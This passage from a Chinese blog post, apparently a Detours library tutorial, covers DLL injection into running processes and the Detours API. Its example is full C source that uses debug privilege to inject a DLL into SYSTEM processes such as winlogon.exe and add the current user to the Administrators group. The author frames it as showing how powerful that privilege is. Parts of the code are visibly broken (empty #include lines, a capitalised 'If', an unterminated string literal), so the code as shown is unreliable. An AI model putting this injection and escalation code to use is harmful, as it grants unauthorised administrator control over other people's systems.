style="LINE-HEIGHT: normal">3． 为一个已在运行的进程装入一个DLL<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">以下是其步骤：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">(1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。<br style="LINE-HEIGHT: normal">(2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。<br style="LINE-HEIGHT: normal">(3) 把ThreadFuction的二进制机器码写入这片虚存。<br style="LINE-HEIGHT: normal">(4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">二． Detours库函数的用法<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">功能：从一DLL中找出一函数的入口地址<br style="LINE-HEIGHT: normal">参数：pszModule是DLL名，pszFunction是函数名。<br style="LINE-HEIGHT: normal">返回：名为pszModule的DLL的名为pszFunction的函数的入口地址<br style="LINE-HEIGHT: normal">说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)<br style="LINE-HEIGHT: normal">功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)<br style="LINE-HEIGHT: normal">功能：用Detour 函数拦截Target函数<br style="LINE-HEIGHT: normal">参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)<br style="LINE-HEIGHT: normal">功能：恢复Target函数<br style="LINE-HEIGHT: normal">参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)<br style="LINE-HEIGHT: normal">功能：为一个已在运行的进程装入一个DLL<br style="LINE-HEIGHT: normal">参数：hProcess是进程的句柄，lpDllName是要装入的DLL名<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">三． 程序实例<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">以一个能使有&#8220;调试程序&#8221;的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">先编写相应的DLL：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/*admin.dll, 当进程装入时会把名为szAccountName<br style="LINE-HEIGHT: normal">的用户加入到Administrators本地组。*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/*以下创建一共享段实现进程间的数据通讯，<br style="LINE-HEIGHT: normal">szAccountName 是用户名，bPrepared说明<br style="LINE-HEIGHT: normal">szAccountName是否已初始化。*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#pragma data_seg(".MYSHARE")<br style="LINE-HEIGHT: normal">BOOL bPrepared=FALSE;<br style="LINE-HEIGHT: normal">wchar_t szAccountName[100]={0};<br style="LINE-HEIGHT: normal">#pragma data_seg()<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#pragma comment(linker, "/SECTION:.MYSHARE,RWS")<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/*程序调用SetAccountName设置要加入到Administrators<br style="LINE-HEIGHT: normal">本地组的用户名，并通知DllMain<br style="LINE-HEIGHT: normal">已初始化szAccountName ，<br style="LINE-HEIGHT: normal">以后被装入时可调用ElevatePriv */<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">__declspec(dllexport) VOID WINAPI<br style="LINE-HEIGHT: normal">SetAccountName(wchar_t *Name)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; wcscpy(szAccountName,Name);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; bPrepared=TRUE;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/*把名为szAccountName的用户加入<br style="LINE-HEIGHT: normal">到Administrators本地组*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">__declspec(dllexport) VOID WINAPI ElevatePriv()<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; LOCALGROUP_MEMBERS_INFO_3 account;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; account.lgrmi3_domainandname=szAccountName;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; NetLocalGroupAddMembers(NULL,L"Administrators",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3,(LPBYTE)&amp;account,1);<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">__declspec(dllexport) ULONG WINAPI<br style="LINE-HEIGHT: normal">DllMain(HINSTANCE hInstance,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwReason, PVOID lpReserved)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; switch (dwReason) {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp; case DLL_THREAD_ATTACH:<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bPrepared)<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ElevatePriv();<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; return TRUE;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">程序如下：<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/*AddMeToAdministrators.exe 把当前用户加入到<br style="LINE-HEIGHT: normal">Administrators本地组。使用方法为：（1）<br style="LINE-HEIGHT: normal">运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal">#include<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">extern VOID WINAPI SetAccountName(wchar_t *Name);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/* GetCurrentUser得到自己的用户名称*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">void GetCurrentUser(wchar_t *szName)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; HANDLE hProcess, hAccessToken;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; wchar_t InfoBuffer[1000],szAccountName[200],<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szDomainName[200];<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; DWORD dwInfoBufferSize,dwAccountSize = 200,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwDomainSize = 200;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; SID_NAME_USE snu;<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; hProcess = GetCurrentProcess();<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; OpenProcessToken(hProcess,TOKEN_READ,&amp;hAccessToken);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; GetTokenInformation(hAccessToken,TokenUser,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; InfoBuffer,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1000, &amp;dwInfoBufferSize);<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; LookupAccountSid(NULL, pTokenUser-&gt;User.Sid,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szAccountName,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;dwAccountSize,szDomainName, &amp;dwDomainSize, &amp;snu);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; wcscpy(szName,szDomainName);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; wcscat(szName,L"\");<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wcscat(szName,szAccountName);<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">/* EnablePrivilege启用自己的&#8220;调试程序&#8221;的用户权限*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; HANDLE hToken;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; if (!OpenProcessToken(GetCurrentProcess(),<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TOKEN_ADJUST_PRIVILEGES, &amp;hToken))<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; TOKEN_PRIVILEGES tp;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; tp.PrivilegeCount = 1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; LookupPrivilegeValue(NULL, szPrivName,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;tp.Privileges[0].Luid);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; tp.Privileges[0].Attributes = fEnable ?<br style="LINE-HEIGHT: normal">SE_PRIVILEGE_ENABLED : 0;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; AdjustTokenPrivileges(hToken, FALSE, &amp;tp,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sizeof(tp), NULL, NULL);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; return((GetLastError() == ERROR_SUCCESS));<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPSTR lpszCmdLine, int<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<br style="LINE-HEIGHT: normal">{<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; INT argc;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; WCHAR **argv;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; argv = CommandLineToArgvW(GetCommandLineW(),<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;argc);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; INT nProcessId = -1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; if (argc!=2){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wprintf(L"usage %s pid", argv[0]);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; nProcessId = _wtoi(argv[1]);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; printf("%d ",nProcessId);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("AdjustTokenPrivilege Fail %u ",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (UINT)GetLastError());<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp; gNewHandle =<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OpenProcess(PROCESS_ALL_ACCESS<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , TRUE, nProcessId);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; if (!gNewHandle){<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("OpenProcess Fail %u ",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (UINT)GetLastError());<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; wchar_t szName[100];<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; GetCurrentUser(szName);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; SetAccountName(szName);<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; If (!ContinueProcessWithDll(gNewHandle,<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; L"c:\temp\admin.dll")) {<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("ContinueProcessWithDll failed %u",<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (UINT)GetLastError());<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 3;<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; }<br style="LINE-HEIGHT: normal">&nbsp;&nbsp;&nbsp; return 0;<br style="LINE-HEIGHT: normal">}<br style="LINE-HEIGHT: normal">因为&#8220;调试程序&#8221;的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出&#8220;调试程序&#8221;的用户权限其实是至高无上的用户权限，只能授予给可信用户。<br style="LINE-HEIGHT: normal"><br style="LINE-HEIGHT: normal">四． 结论&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。</span></span>
<img src ="http://www.cppblog.com/codeart/aggbug/125226.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/codeart/" target="_blank">codeArt</a> 2010-08-29 23:08 <a href="http://www.cppblog.com/codeart/archive/2010/08/29/125226.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>